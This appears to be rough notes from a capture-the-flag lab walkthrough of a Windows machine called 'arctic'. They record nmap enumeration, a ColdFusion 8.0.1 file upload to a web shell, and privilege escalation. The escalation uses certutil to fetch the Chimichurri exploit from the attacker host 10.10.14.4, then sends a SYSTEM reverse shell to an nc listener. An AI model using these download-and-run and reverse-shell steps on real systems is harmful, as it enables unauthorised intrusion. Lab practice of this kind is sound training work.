Enumeration - nmap
Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC
#Wed Mar 22 20:53:51 EET 2017 rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP \n password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03 encrypted=true
this was an LFI exploit but not necessary. the exploit we actually used was `Exploit Title: ColdFusion 8.0.1 - Arbitrary File Upload arbitrary file upload = wew shell after upload shell and listening we have unpriv user using unpriv user we take sysinfo and plug that into windows-exploit-suggester:
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
ok we can run chimichurri host chimichurri use certutil to downoad exploit then start listening in another window to capture the root window
c:\temp>certutil -urlcache -f http://10.10.14.4/chimichurri.exe x.exe
certutil -urlcache -f http://10.10.14.4/chimichurri.exe x.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
c:\temp>x.exe
x.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
c:\temp>x.exe 10.10.14.4 6969
x.exe 10.10.14.4 6969
┌──(root㉿kali)-[~/boxes/arctic]
└─# nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.11] 49319
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\temp>whoami
whoami
nt authority\system